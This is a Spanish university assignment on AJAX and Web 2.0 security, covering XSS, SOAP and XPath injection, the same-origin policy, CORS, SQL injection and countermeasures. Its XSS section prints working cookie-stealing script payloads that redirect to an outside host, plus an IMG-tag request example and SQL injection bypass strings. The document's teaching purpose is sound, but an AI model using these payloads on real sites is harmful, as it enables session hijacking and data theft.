You are on page 1of 18

Asignatura

Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Actividades
Trabajo: Seguridad en AJAX
Descripcin de la actividad
Realizacin de un trabajo para recopilar los problemas de seguridad que presenta la
tecnologa WEB 2.0 AJAX y las posibles soluciones a los mismos.
Pautas de elaboracin
Esta actividad sobre seguridad en aplicaciones Ajax abarca los problemas de seguridad
que tienen este tipo de aplicaciones, que caen en la categora denominada rich internet
applications y en las posibles soluciones a los mismos. Hay que consultar cuantas
fuentes relativas al tema se considere y sintetizar la informacin relevante sin limitarse
a copiar el contenido de alguna de ellas.
Criterios de valoracin
Se valorar (para todas las actividades):
Contenidos. Para la realizacin de los trabajos se deben consultar varias fuentes
para despus contrastarlas, sintetizarlas y generar un trabajo y opinin
personalizados aportando ejemplos grficos.
Estructura del documento. Debe ser planificada previamente y tener un
apartado de conclusiones y de referencias al final.
Presentacin acorde con la categora del curso.
Referencias. Se deben especificar en un apartado al final todas las fuentes
consultadas, URLs de internet, papers, artculos o libros especificando todos los
datos de la publicacin disponibles. Recalcar la obligatoriedad de la especificacin
de las referencias consultadas.
Extensin mxima: 10-15 pginas (fuente Georgia 11 e interlineado 1,5).

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

DESARROLLO
Las tecnologas Web 2.0 permiten abrir nuevos canales de comunicacin y mejorar la
usabilidad de las aplicaciones Web, haciendo que stas sean ms amigables e
interactivas a travs de funcionalidades como redes sociales, wikis, blogs y servicios
interactivos.
Las aplicaciones se conforman por un mayor nmero de componentes, normalmente
con tareas muy pequeas lo que aumenta su complejidad y cada uno de ellos deber ser
protegido ya que pueden ser sujetos de posibles ataques, tarea que se vuelve ms difcil
aumentando su vulnerabilidad y de igual manera la complejidad de realizar un hacking
tico adecuado como medida de prevencin a posibles ataques.
Para algunos usuarios de la web 2.0 la seguridad es un tema irrelevante, esta opinin se
convierte

en algo que para otros usuarios es una ventaja aprovechndose de los

mismos al usar los blogs para insertar un cdigo HTML malicioso, archivos con virus o
gusanos por el solo hecho de no dar la importancia y prestar atencin a los cuidados
mnimos a una de las tantas ventanas que tiene el ciberespacio de cara a nuestra
informacin.
Aunque muchas organizaciones han encontrado formas, aplicaciones y herramientas
para darle un buen uso a la web 2.0, los directores de IT y seguridad de la informacin
han empezado a preocuparse por los riesgos que representa los malware, la perdida de
datos y otros aspectos que hacen parte de la seguridad de la informacin como activo
ms importante. Las soluciones de seguridad tradicionales como los antivirus no
pueden incluso evadir la deteccin de antivirus. A travs de sentencias de comandos
activos, cdigos maliciosos y tcticas de ingeniera social. La seguridad de la web 2.0
requiere de un anlisis y categorizacin en tiempo real de contenidos web que deben
ser monitoreados al vuelo.
Sin embargo y a pesar de todas las medidas los profesionales de TI, deben prevenir que
los empleados de las organizaciones empresariales carguen contenidos con derechos de
propiedad intelectual, secretos comerciales, o cualquier otra informacin sensible a
blogs, sitios en la nube o aplicaciones web 2.0. Desafortunadamente y muy a pesar de

TEMA 1 Actividades

Asignatura

Datos del alumno

Seguridad en
Aplicaciones Online
y Bases de Datos

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

las herramientas suministradas por la misma tecnologa el factor humano es una


amenaza con la que los profesionales de TI no pueden contrarrestar.
Si hablamos de las posibilidades con los que cuenta un atacante de vulnerar esta
informacin citamos los feed. Estos son un medio por el cual los usuarios pueden leer
las entradas de un sitio Web o parte de ellas, un archivo que contiene la informacin del
contenido del blog y que se actualiza de forma automtica. En los blogs los estos
pueden emitir fugas de informacin, as como tambin riesgos frente a la explotacin
de vulnerabilidades de feeds maliciosos, a esto se suma su falta de trasparencia y
desconocimiento en fuentes reales de RSS y mashups.
La capacidad de lectura-escritura de la Web 2.0 permite integrar protocolos tales como
Ajax entre distintos entornos. Esta capacidad tambin puede exponer a los clientes y
servidores a ataques que pueden traspasar fcilmente los firewalls tradicionales. La
tendencia hacia el contenido Web auto-actualizable tiene sus pros y sus contras. Al
permitir el acceso, la ejecucin y la agregacin de contenidos desde el cliente, se abre
una nueva puerta en la que los atacantes pueden engaar a los usuarios y dirigirles a
programas malintencionados que pueden infiltrarse en las redes corporativas.
Por ejemplo, Ajax permite emitir de forma asincrnica llamadas JavaScript desde un
navegador. Sin embargo, la descarga de JavaScript desde sitios que no sean de
confianza puede permitir a los atacantes ejecutar llamadas Ajax malintencionadas en
los navegadores. Los ataques de scripts entre sitios pueden apropiarse de cuentas de
usuario, lanzar intentos de phishing y ejecutar programas malintencionados en los
sistemas de los usuarios.
Entre los ataques ms relevantes a la web 2.0 podemos encontrar.
WSDL Scanning
Este ataque se dirige a la interfaz WSDL puesta a disposicin por un servicio web. El
atacante puede escanear la interfaz WSDL para revelar informacin sensible acerca de
patrones

de

invocacin,

implementaciones

tecnolgicas

subyacentes

las

vulnerabilidades asociadas. Este tipo de sondeo se lleva a cabo para realizar ataques
ms graves (por ejemplo, la manipulacin de parmetros, inyeccin malicioso
TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

contenido, inyeccin de comandos, etc.). archivos WSDL proporcionan informacin


detallada sobre los puertos de servicios y enlaces disponibles para los consumidores.
Por ejemplo, el atacante puede enviar caracteres especiales o contenido malicioso al
servicio Web y puede causar una denegacin de servicio o el acceso ilegal a los registros
de base de datos. Adems, el atacante puede tratar de adivinar otros mtodos privados
mediante el uso de la informacin contenida en los archivos WSDL. [1]
SOAP Parameter Tampering
Un atacante enva un mensaje SOAP, donde los valores de campo son diferentes de lo
que es probable que esperar el fin de precipitar el comportamiento del servidor no
estndar del servidor. En un mensaje SOAP, parmetros toman la forma de valores
dentro de los elementos XML. El servidor tendr un esquema XML que indica ciertas
restricciones a los valores de estos parmetros. Por ejemplo, el servidor puede esperar
un parmetro sea una cadena con menos de 10 caracteres, o un nmero inferior a 100.
En un ataque de parmetros de SOAP manipulacin, ya sea un atacante viola este
esquema, o se aprovecha de la flexibilidad en el rgimen (por ejemplo, la falta de un
lmite de caracteres) para proporcionar parmetros que el servidor no puede esperar.
Ejemplos de parmetros inesperados incluyen datos de gran tamao, los datos con
diferentes tipos de datos, insertar meta caracteres dentro de los datos, y el envo de los
datos contextualmente inapropiadas (por ejemplo, enviar el nombre del producto
inexistente en un campo de nombre del producto o utilizando un nmero de secuencia
fuera de orden). Los resultados de este ataque pueden incluir la divulgacin de
informacin, denegacin de servicio, o incluso la ejecucin de cdigo arbitrario. [2]
Atom injection.
Una nueva caracterstica de la" Web 2.0 ", es la facilidad para construir una mayor
capacidad de respuesta en la Web, con la utilizacin de los flujos XML que utilizan los
RSS y estndares Atom. Estos permiten a los usuarios y los sitios web para obtener el
contenido, titulares y el texto del cuerpo sin la necesidad de visitar el sitio en cuestin,
bsicamente, proporcionando a los usuarios un resumen de ese contenido sitios. Por
desgracia, muchas de las aplicaciones que reciben estos datos no tienen en cuenta las
implicaciones de seguridad de uso de contenidos de terceros, y sin saberlo, hacen que
ellos y sus sistemas conectados sean susceptibles a diversas formas de ataque.
TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Atom injection se trata de un nuevo ataque WEB 2.0. RSS, son un medio comn de
intercambio de informacin sobre portales y aplicaciones web, estos datos son
almacenados por las aplicaciones web y enviados al navegador del lado del cliente, se
puede inyectar JavaScript en el RSS para generar ataques en el navegador portales y
aplicaciones web. Aunque es un ataque ejecutado en el lado del cliente puede
trascender. [3]
XPath Injection
Las XPath Injection operan sobre los sitios web que utiliza la informacin suministrada
por el usuario para construir una consulta XPath para los datos XML. Mediante el
envo de la informacin intencionalmente con formato incorrecto en el sitio web, un
atacante puede averiguar cmo se estructura de los datos XML, o acceder a datos que
puede normalmente no tiene acceso. l puede incluso ser capaz de elevar sus privilegios
en el sitio web si los datos XML se utiliza para la autenticacin (por ejemplo, un archivo
de usuario basada en XML).
Las XPath Injection podra ser incluso ms peligroso que las inyecciones SQL desde
XPath carece de control de acceso y permite la consulta de la base de datos completa
(documento XML), mientras que muchas bases de datos SQL tienen mesas meta que no
se puede acceder por las consultas regulares. Estas atacan el servicio web mediante la
sustitucin de los parmetros originales del TestStep con strings maliciosos, diseados
para exponer las posibles deficiencias en los servicios web que estn utilizando la
entrada del usuario en expresiones XPath. Mediante el uso de afirmaciones, se puede
asegurar que el ataque no expuso a datos sensibles, devolver un identificador de sesin,
etc. [4]
RIA thick client binary manipulation
Las RIA thick client binary manipulation utilizan funciones de interfaz de usuario como
Flash, ActiveX y controles o applets como sus interfaces primarias a las aplicaciones
Web. Uno de sus problemas es la gestin de sesiones ya que se ejecuta en el navegador
y comparten una misma sesin, ya que la totalidad del cdigo se descargar en el lado
del cliente , un atacante puede realizar ingeniera inversa y descompilar el cdigo. [5]

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

AJAX (Asynchronous Javascript) and XML


Es una tcnica que permite presentar la informacin con CSS y DOM. Esta tcnica
permite crear aplicaciones interactivas ricas, las cuales se ejecutan en el lado del
cliente, client-side, en el navegador. El funcionamiento de AJAX es sencillo, mientras la
aplicacin se ejecuta en el navegador del cliente, la comunicacin se lleva a cabo de
manera asncrona en segundo plano con el servidor. Esto permite crear el efecto de que
el sitio web va cambiando en funcin de las necesidades, por la actualizacin de la
informacin en el servidor, el cual podra ser debido a otras acciones del cliente. Sin
embargo esta caracterstica exige un mayor grado de seguridad ya que la comunicacin
de manera asncrona entre el cliente y el servidor tiende a estar hecho de cdigo poco
seguro, para que la informacin no se vea comprometida todo el trfico debe ser
debidamente comprobado.
Para hablar de la seguridad en AJAX se debe traer en mencin de lo que est
compuesto ya que su seguridad depender de los componentes que lo conforman.
La probabilidad y exposicin de ataque en el lado del cliente es grande, la revelacin
de la lgica de la aplicacin hace que los posibles atacantes conozcan parte del cdigo
ya que reside en esta parte permitindoles estudiar e inferir de cierto modo la lgica de
esta.El gran nmero de lneas de cdigo y su dificultad para revisarlas hace que la
revisin de las aplicaciones multiplique su dificultad aumentando la vulnerabilidad de
la aplicacin as como tambin su auditoria.
Ajax como tcnica novedosa es utilizada por un sin nmero de programadores para
brindar una experiencia similar a trabajar en local, sin embargo y sumado a lo
anteriormente mencionado tenemos unas caractersticas de seguridad que no han sido
solventadas en su totalidad, tales como:
- Al existir ms inputs hay ms puntos que proteger
- Las funciones internas se encuentran expuestas
- No contiene mecanismos de codificacin bien definidos cuando un cliente accede a
determinados recursos
- No es muy seguro a la hora de proteger la informacin de sesiones y autenticaciones

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Entre las amenazas ms notables se tienen el XSS el cual mediante el DOM se puede
alterar el contenido de un sitio, modificar la direccin donde los datos o formularios de
usuarios son enviados, robo de cookies y credenciales.
DOM-Based XSS.
Vulnerabilidad de aplicaciones web con el cual un atacante puede robar una sesin,
llevara cabo ataques phishing y mucho ms. Las vulnerabilidades de scripts de sitios
(XSS) se producen cuando:
1. Los datos entran en una aplicacin web a travs de una fuente no confiable. En
el caso de XSS basado en DOM, los datos se leen desde un parmetro de URL u
otro valor dentro del explorador, y se escriben en la pgina con cdigo del
cliente. En el caso de XSS reflejado, la fuente no confiable suele ser una
solicitud web, mientras que en el caso de XSS persistente (tambin conocido
como almacenado) suele ser una base de datos u otro almacn de datos backend.
2. Los datos se incluyen en el contenido dinmico que se enva a un usuario web
sin que se validen. En el caso de XSS basado en DOM, el contenido
malintencionado se ejecuta como parte de la creacin de DOM (Modelo de
objetos de documento), siempre que el explorador de la vctima analice la
pgina HTML.

El contenido malintencionado que se enva al explorador web a menudo adopta la


forma de un segmento de cdigo JavaScript, pero tambin puede incluir cdigo HTML,
Flash o cualquier otro tipo de cdigo que el explorador pueda ejecutar. La variedad de
los ataques basados en XSS es casi ilimitada, pero suelen incluir la transmisin de datos
privados como cookies u otra informacin de sesin al usuario malintencionado, re
direccionando a la vctima a un contenido web que este controla o realizar otras
operaciones malintencionadas en el equipo del usuario bajo la apariencia del sitio
vulnerable.

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Ejemplo: Propagacin "invisible" a travs de mltiples peticiones HTTP


El cdigo re direccionar la pgina a un sitio externo, que contiene a su vez otra pgina
con cdigo malicioso justamente despus de haberse "logueado" en la pgina original
desde la cual se hizo la peticin
<script> alert ("SCG09")</script>
<script>document.location='http://tiendavirtual.com/pagina1.pl?'%20+document.coo
kie</script>
Cdigo inyectado:
http://tiendavirtual.com/login.php?
variable="><script>document.location='http://ejemplo2.com/foro.php?'+document.c
ookie</script> [6]
Adems de esta en el conjunto de amenazas por las cuales Ajax es susceptible en cuanto
a la seguridad de cara a la informacin del usuario en la web 2.0, se trae en mencin las
citadas a continuacin junto a su ejemplo explcito.
Ajax Bridging
Por medidas de seguridad, las aplicaciones AJAX solamente dejan conectarse desde el
website desde el que proceden. Es decir, -javascript- con Ajax descargado desde una
web A, no puede realizar conexiones sobre una web B (externa a la primera). Para
permitirlo se utilizan los servicios "bridge" (puente). El "puente" acta como proxy
sobre el servidor Web para "forwardear" el trfico entre el -javascript- del lado del
cliente y la web externa. Es como, un servicio web, para la propia pgina web. Un
atacante puede usar esta "capacidad" para acceder a reas restringidas.
Ejemplo: Denegacin de servicio con AJAX:
<IMG SRC="http://tiendavirtual.com/cgi-bin/scriptx.cgi?a=b"> [7]

Ataque a Myspace: Gusano que aprovecha un vector XSS + AJAX:


TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Samy utilizaba un vector permitido en los perfiles de los usuarios (<script>) de la


web de Myspace. A travs de AJAX inyecta un virus dentro del perfil de cualquier
usuario que estuviera visitando la pgina infectada, y fuerza al usuario a visitarlo para
aadir al usuario "Samy" dentro de su lista de contactos.
Aparecan las letras "Samy is my hero" en todos los perfiles de las vctimas y tuvo
una propagacin muy alta en muy poco tiempo.
Registro de propagacin: 10/04, 12:34 pm: 73 // 5 hours later, 6:20 pm: 1,
005,831
[8]

Ataque a Yahoo! Mail Server: Gusano que aprovecha un vector XSS +


AJAX:
El gusano Yammaner utiliza un vector XSS con AJAX para tomar ventaja de una
vulnerabilidad en el evento "onload" del portal. Cuando un email infectado era
abierto, el gusano ejecutaba su cdigo -javascript- malicioso, enviando una copia de si
mismo a todos los contactos de Yahoo del usuario infectado. El email infectado
utilizaba una direccin "spoofeada" tomada de otras vctimas, lo que haca al usuario
poder "pensar" que se trataba de un email de alguno de sus contactos (ingeniera
social). [8]
Document.domain
La propiedad document.domain se emplea para permitir el acceso entre subdominios
del dominio principal de la aplicacin. Evidentemente, los navegadores no permiten
establecer cualquier valor en esa propiedad, por lo que slo se puede indicar un valor
que corresponda a una parte del subdominio completo donde se encuentra el script. La
restriccin del acceso a diferentes dominios es ms restrictiva de lo que en principio
puede parecer. El problema es que los navegadores emplean un mtodo demasiado
simple para diferenciar entre dos dominios ya que no permiten ni subdominios ni otros
protocolos ni otros puertos.
Por ejemplo, si el cdigo JavaScript se descarga desde la siguiente URL:
http://www.ejemplo.com/scripts/codigo.js, las funciones y mtodos incluidos en
ese cdigo no pueden acceder a los recursos contenidos en los siguientes archivos:
TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

http://www.ejemplo.com:8080/scripts/codigo2.js
https://www.ejemplo.com/scripts/codigo2.js
http://192.168.0.1/scripts/codigo2.js
http://scripts.ejemplo.com/codigo2.js
La solucin para el acceso a recursos no originados en el mismo dominio se basa
precisamente en esta propiedad. Lo realiza de esta manera:
El cdigo alojado en:
http://www.ejemplo.com/scritps/codigo1.js
Establece la variable document.domain = "ejemplo.com"
Por otra parte, el cdigo alojado en:
http://scripts.ejemplo.com/codigo2.js
Establece la variable document.domain = "ejemplo.com"
Los recursos de ambos cdigos pueden interactuar entre s. [9]
Un

grave

problema

utilizando

AJAX

entre

nombres

de

dominios

http://scripts.ejemplo.com/codigo2.js es lo que se conoce como Same Origin Policy.


Con este problema de seguridad un script obtenido en un origen puede cargar o
modificar propiedades del documento desde otro origen no igual al primero.
Same Origin Policy (poltica de origen)
Same Origin Policy es una caracterstica de seguridad que se encuentra en la ejecucin
de JavaScript en los navegadores, as como en otras tecnologas utilizadas en un
navegador, por ejemplo de Flash. Bsicamente le permite hacer peticiones a pginas
dentro del mismo sitio / dominio, mientras que le impide hacer peticiones a pginas en
un dominio diferente, otro subdominio o por medio de un protocolo diferente. Esta
poltica de seguridad, nos va a evita muchos ataques desde fuera pero tambin supone
un problema para los desarrolladores debido a que limita los recursos a los que desean
acceder. [10]
TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

La siguiente situacin indica en qu medida podra verse comprometida la integridad


de la informacin.
-

Inocencio entra en la pgina de su banco "misEurillos.com".


Inocencio abre otra pestaa para entrar en una tienda online a comprar unos

caramelos para la tos: "tengoDeTodo.com".


La pgina de la tienda "tengoDeTodo.com" tiene cdigo JavaScript para intentar
robar datos de todos los clientes que entran. Mediante AJAX, hace peticiones a

varios bancos conocidos (incluido misEurillos.com).


El banco responde con los datos de Inocencio porque la peticin AJAX incluye
automticamente las cookies/credenciales que Inocencio tiene an activas por

tener sesin abierta en su banco.


El script de la pgina "tengoDeTodo.com" recibe los datos del banco y se los
enva a Malone para realizar sus fechoras. [11]

En este caso el script no podra enviar las peticiones AJAX a los bancos (son orgenes
diferentes a "tengoDeTodo.com") ni tendra acceso a las cookies o datos de las otras
pginas que Inocencio est viendo.
Envenenamiento XML
El envenenamiento XML es otro de los problemas de seguridad a los que nos podemos
enfrentar. El servidor debe validar todos los datos que recibe, ya que un posible XML
malformado puede causar un crash en el servidor provocando una denegacin de
servicio.
La ejecucin de cdigo malicioso tambin debemos tenerlo en cuenta. Las llamadas que
se realizan con Ajax ejecutan en backgraund sin ninguna interaccin del usuario por lo
que el usuario no es consciente de lo que se est realizando en un sitio concreto,
aprovechando la web este hecho para realizar un robo de cookies y aun peor de
manera silenciosa y poco sospechosa
En todo software particularmente en nuestro caso Ajax que requiere de validaciones de
cliente enfrenta un mayor grado de amenaza, como una forma de contrarrestarlo
podramos citar la validacin tanto en este lado como en el lado del servidor.

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Amenazas y medidas a tener en cuenta:

No establecer conexiones con sitios diferentes del nombre de dominio del que se ha
obtenido el script de JavaScript, protegindolo ante problemas de seguridad y esta
medida se conoce como CORS, Cross-Origin Resource Sharing.

Cross Origin Sharing Sources (CORS)


Cuando realizamos una peticin Ajax, el navegador incluye una cabecera Origin en la
solicitud de la peticin con el servidor origen que est realizando la peticin. Cuando
usamos el mtodo CORS para evitar los problemas de Cross Domain, lo que estamos
haciendo es informar en el servidor destino de los orgenes que pueden realizar
peticiones sobre l. Esto lo consigue aadiendo una nueva cabecera en la respuesta de
la peticin Http, Access-Control-Allow-Origin
Si la cabecera Origin (request Http) no coincide con la cabecera Access-ControlAllow-Origin (response Http), nuestra peticin Ajax no podr acceder.

Ejemplo:

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Una peticin Ajax realizada por Facebook mientras los usuarios utilizan el chat. Las
cabeceras de peticin y respuesta coinciden y la peticin consigue realizarse.

[12]

Los ficheros Javascript que se han obtenido desde un sitio en concreto no deben poder
acceder a propiedades de otro sitio.
-

Se debe tener en cuenta los ataques clsicos como SQLi y XSS por lo que buscarlos
especialmente y XSRF, los cuales podrn ser solventados mediante un filtrado
correcto o utilizacin de tokens correctamente en el caso del XSRF.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la
extraccin de informacin y posible ejecucin arbitraria de cdigo en el lado del
servidor, sin embargo, ahora en el lado del cliente tambin es posible almacenar datos
en bases de datos relacionales.

Esta es la razn por la cual SQL Injection es una amenaza para Ajax. Estas amenazas
cobran forma cuando un atacante inserta cdigos maliciosos en una zona de la pgina
web poco desarrollada como por ejemplo un formulario, si este es vulnerable todo el
contenido de la base de datos puede estar expuesto. El SQL Injection es tan perjudicial
TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

en Ajax que al ser mitigado con tcnicas de saneamiento basadas en JavaScript no son
suficientes frente al ataque de esta explotacin.

Para proteger una base de datos cuando se utiliza Ajax se debe validar la entrada del
usuario con la validacin que se realiza del lado de servidor, de igual manera la
cuidadosa declaracin de parmetros evitarn este tipo de amenazas y que los valores
no ingresan directamente en la base de datos, en su lugar se utiliza una variable de
enlace as como tambin una llamada API para el marcador de posicin.

Ejemplo

La consulta en la base de datos ser.

SQL Injection Based on 1=1


La consulta anterior es correcta, cuando se ejecuta, la base de datos devuelve el nmero
total de registros en la tabla, puesto que la condicin se cumple aunque el nombre de
usuario y contrasea sean incorrectos porque la condicin OR 1=1 se cumple siempre

Ejemplo 2. Averiguar el contenido de los registros

La respuesta de la aplicacin es "Nombre de usuario y contrasea correctos.", lo que


nos indica que hay un usuario cuyo nombre empieza por "a". En este caso, la consulta a
la base de datos habr sido algo parecido a esto:

TEMA 1 Actividades

Asignatura

Datos del alumno

Seguridad en
Aplicaciones Online
y Bases de Datos

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

Podramos ir alargando la cadena letra a letra hasta encontrar el nombre del usuario. [13]
Otras medidas que podramos citar tendramos las siguientes:

No almacenar jams datos sensibles o confidenciales en el lado del cliente, este


hecho hara que obtenerlos por un atacante fuera algo potencialmente sencillo.

Utilizacin de mtodos criptogrficos para transmitir datos sensibles o


confidenciales entre el cliente y el servidor.

La lgica de negocio debe tener el principio de mnima exposicin y encontrarse


siempre en el lado del servidor.

Toda peticin realizada con AJAX y que acceda a recursos protegidos debern
encontrarse autenticadas.

Validacin de todos los campos de entrada y comprobacin siempre en el lado del


servidor, de otra manera cualquier accin que se valide en el cliente puede ser
manipulada, por ejemplo mediante el uso de un proxy.

Implantar controles de seguridad como pueden ser autenticacin, autorizacin, e


incluso registro de operaciones o logging, siempre en el lado del servidor.

Utilizar mtodos POST en vez de mtodos GET.

El cdigo de JavaScript se debe ejecutar mediante el uso de una sandbox, con lo


que todo lo malicioso que se intente ejecutar queda aislado y sin acceso a los
recursos de inters de la mquina atacada.

Conclusiones
- La seguridad de datos confidenciales, como la contabilidad, facturacin, es uno de los
aspectos que ms se debaten, al estar almacenados en servidores ajenos. Si nos
centramos en

las pymes es probable que los datos estn en mejor recaudo de

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

servidores de empresas dedicadas a ello que en ordenadores que normalmente son


mucho ms vulnerables a ataques de virus, troyanos, espas.
- Actualmente las amenazas mayores en internet estn en el robo de la informacin, la
vulnerabilidad de los datos, as como tambin en el desarrollo de cdigos maliciosos
con la finalidad de captar informacin confidencial y a partir de ella conseguir grandes
beneficios.
- AJAX, RIA y dems servicios web son tecnologas importantes de la web 2.0 como
tecnologas prometedoras, aportan eficacia, eficiencia a las aplicaciones web. Sin
embargo detrs de ellas vienen nuevos problemas de seguridad, para contrarrestarlas,
los encargados de la seguridad de la informacin deben recurrir a diferentes tcnicas de
codificacin e implementaciones seguras en la proteccin de datos, a pesar de estas
medidas la concientizacin de las nuevas herramientas IT, su utilizacin, ventajas y
riesgo para las organizaciones por parte de sus funcionarios y trabajadores se convierte
en la mejor arma de defensa contra estos.
- AJAX de por s no presenta problemas de seguridad presentes en el diseo de
aplicaciones web, sin embargo el contenido de cdigo de lado del cliente tiende a
aumentar considerablemente las amenazas. Este cdigo es visible por parte del usuario,
por lo que debemos asegurarnos de no revelar informacin sensible dentro de l. No
solo en cuento a contraseas de acceso, sino tambin lgica de negocio o conexiones a
bases de datos, todo esto debemos delegarlo a los scripts de lado del servidor. A pesar
de esta medida tan elemental y pequea todava existen desarrollos que no cumplen
este punto, debemos recordar que como desarrolladores de software somos el punto de
partida de la seguridad de la informacin y la proteccin de la informacin como el
mayor recurso de las organizaciones.

BIBLIOGRAFIA
[1] https://capec.mitre.org/data/definitions/95.html

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

[2]https://capec.mitre.org/data/definitions/280.html

[3] http://www.cgisecurity.com/rss.html

[4] https://www.soapui.org/security-testing/security-

scans/xpath-injection.html
[5]

http://www.infosecwriters.com/text_resources/pdf/SShah_Web2
0.pdf
[6] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[7] http://ns2.elhacker.net/XSS_for_fun_and_profit_SCG09_(spanish).pdf
[8] https://issuu.com/dragonjar/docs/cross-site-scripting/137
[9] http://librosweb.es/libro/ajax/capitulo_7/seguridad.html
[10] http://www.jquery-tutorial.net/ajax/same-origin-policy/
[11]http://notasjs.blogspot.com.co/2013/09/politica-del-mismo-origen-sameorigin.html
[12] http://www.cantabriatic.com/wp-content/uploads/2015/04/peticiones.png
[13] http://www.mclibre.org/consultar/php/lecciones/php_db_inyeccion_sql.html

TEMA 1 Actividades

Asignatura
Seguridad en
Aplicaciones Online
y Bases de Datos

TEMA 1 Actividades

Datos del alumno

Fecha

Apellidos: OMAR JOSE


3 de abril 2016
Nombre: ORTEGA MORENO

You might also like